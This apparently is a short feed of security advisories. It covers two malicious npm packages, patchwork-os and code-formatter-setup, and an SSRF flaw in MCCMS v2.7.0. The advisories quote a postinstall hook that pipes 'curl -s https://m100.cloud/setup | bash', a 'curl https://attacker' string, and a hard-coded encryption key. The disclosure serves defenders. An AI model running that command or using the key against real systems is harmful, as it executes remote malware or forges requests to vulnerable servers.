Malicious code in patchwork-os (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cc351c90dbe7a3ede9536138db9071a7cc8b2f8b2824b7956f26553e349a72d9 dist/drivers/gemini/index.js line 53 contains a literal curl https://attacker string co-located with an install reference line 286, matching a...

MAL-2026-10682 Malicious code in code-formatter-setup (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 29eac23cdb5855a900e15c2d86231de29d9985573f90f819f9d4ba08425b9042 package.json declares a postinstall lifecycle hook that runs node -e "require'childprocess'.execSync'curl -s https://m100.cloud/setup | bash'",...

CVE-2025-50234

MCCMS v2.7.0 has an SSRF vulnerability located in the index method of the sys\apps\controllers\api\Gf.php file, where the pic parameter is processed. The pic parameter is decrypted using the sysauth$pic, 1 function, which utilizes a hard-coded key McEncryptionKey bD2voYwPpNuJ7B8, defined in the...